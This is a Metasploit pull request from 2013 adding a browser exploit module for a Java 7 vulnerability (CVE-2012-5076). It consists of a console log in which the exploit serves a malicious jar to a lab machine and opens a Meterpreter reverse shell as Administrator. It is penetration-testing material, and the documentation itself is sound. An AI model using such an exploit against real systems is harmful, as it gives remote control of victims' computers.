rapid7/metasploit-framework — pull request #1333 by jvazquez-r7 (2013-01-17 20:29:56+00:00)
Title: Added new module for cve-2012-5076

msf > use exploit/multi/browser/java_jre17_glassfish_averagerangestatisticimpl
msf exploit(java_jre17_glassfish_averagerangestatisticimpl) > rexploit
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.128:4444
[*] Using URL: http://0.0.0.0:8080/CB9zqJIFfRLz5
[*] Local IP: http://192.168.1.128:8080/CB9zqJIFfRLz5
[*] Server started.
msf exploit(java_jre17_glassfish_averagerangestatisticimpl) > [*] 192.168.1.142 java_jre17_glassfish_averagerangestatisticimpl - handling request for /CB9zqJIFfRLz5
[*] 192.168.1.142 java_jre17_glassfish_averagerangestatisticimpl - handling request for /CB9zqJIFfRLz5/
[*] 192.168.1.142 java_jre17_glassfish_averagerangestatisticimpl - handling request for /CB9zqJIFfRLz5/fvaWoLCE.jar
[*] 192.168.1.142 java_jre17_glassfish_averagerangestatisticimpl - handling request for /CB9zqJIFfRLz5/fvaWoLCE.jar
[*] Sending stage (30216 bytes) to 192.168.1.142
[*] Meterpreter session 1 opened (192.168.1.128:4444 -> 192.168.1.142:3159) at 2013-01-17 21:25:13 +0100

msf exploit(java_jre17_glassfish_averagerangestatisticimpl) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: Administrator
meterpreter > sysinfo
Computer : juan-c0de875735
OS : Windows XP 5.1 (x86)
Meterpreter : java/java
meterpreter >